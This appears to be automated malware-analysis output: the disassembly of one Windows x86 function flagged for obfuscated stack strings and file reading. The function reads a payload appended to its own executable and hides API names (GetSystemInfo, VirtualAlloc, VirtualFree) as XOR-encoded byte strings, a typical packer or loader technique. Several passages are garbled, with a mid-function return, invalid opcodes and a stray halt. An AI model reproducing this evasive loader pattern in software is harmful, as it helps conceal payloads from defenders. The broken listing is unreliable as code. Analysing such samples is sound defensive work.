Function at 0x40113a
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
push ebx
push esi
push edi
lea eax, [ebp - 0x194]
push 0x104
push eax
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x194]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401196
mov dword [ebp - 4], str.Cant_open_file_
jmp 0x4014fa
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xfffffffffffffff8
push edi
call esi
cmp eax, 0x3e8
mov dword [ebp - 0xc], eax
jb 0x4014dc
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x24]
push 8
push eax
push edi
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4014e5
cmp dword [ebp - 0x1c], 8
jne 0x4014e5
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x20], 0x829ab7a5
mov dword [ebp + 8], eax
jne 0x4014dc
cmp eax, 4
jl 0x4014dc
cmp eax, dword [ebp - 0xc]
jge 0x4014dc
push eax
call fcn.0040346b
cmp eax, ebx
pop ecx
mov dword [ebp - 8], eax
je 0x401342
push 2
push ebx
push 0xfffffffffffffff8
mov dword [ebp - 0x18], ebx
pop eax
sub eax, dword [ebp + 8]
push eax
push edi
call esi
cmp eax, 0xffffffff
je 0x4014d3
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp + 8]
ret
dec esp
invalid
std
invalid
inc esi
push es
cmp ax, bx
jbe 0x401507
lea ecx, [edi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov edi, dword [ecx]
add eax, edi
cmp dword [ebp - 0xc], eax
jae 0x401501
inc ebp
hlt
mov dword [ebp - 0xc], eax
add ecx, 0x28
dec edx
jne 0x4014f2
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x9d
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0x25
mov byte [ebp - 0x53], 7
mov byte [ebp - 0x52], 0x16
mov byte [ebp - 0x51], 0x31
mov byte [ebp - 0x50], 0x1b
mov byte [ebp - 0x4f], 0x11
mov byte [ebp - 0x4e], 0x16
mov byte [ebp - 0x4d], 7
mov byte [ebp - 0x4c], 0xf
mov byte [ebp - 0x4b], 0x2b
mov byte [ebp - 0x4a], 0xc
mov byte [ebp - 0x49], 4
mov byte [ebp - 0x48], 0xd
mov byte [ebp - 0x47], 0x62
call fcn.004012c3
inc esp
pushfd
mov bh, 0x79
lea eax, [ebp - 0x58]
push eax
call fcn.004012d3
mov edi, dword [ebp + 0xc]
push eax
push edi
push dword [ebp + 8]
call fcn.00401288
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0xc]
div ecx
test edx, edx
je 0x40159b
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
lea eax, [ebp - 0x30]
mov dword [ebp + 0xc], ecx
push eax
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x6a
mov byte [ebp - 0x2d], bl
mov byte [ebp - 0x2c], 0xc3
mov byte [ebp - 0x2b], 0xfc
mov byte [ebp - 0x2a], 0xe7
mov byte [ebp - 0x29], 0xe1
mov byte [ebp - 0x28], 0xe0
mov byte [ebp - 0x27], 0xf4
mov byte [ebp - 0x26], 0xf9
mov byte [ebp - 0x25], 0xd4
mov byte [ebp - 0x24], 0xf9
mov byte [ebp - 0x23], 0xf9
mov byte [ebp - 0x22], 0xfa
mov byte [ebp - 0x21], 0xf6
mov byte [ebp - 0x20], 0x95
call fcn.004012d3
push eax
push edi
push dword [ebp + 8]
call fcn.00401288
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], 0xfb
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x71
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x42
mov byte [ebp - 0x10], 0x76
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 4
call fcn.004012d3
push eax
push edi
push dword [ebp + 8]
call fcn.00401288
add esp, 0x20
mov dword [ebp - 0xc], eax
call fcn.004012c3
ret 0x46b6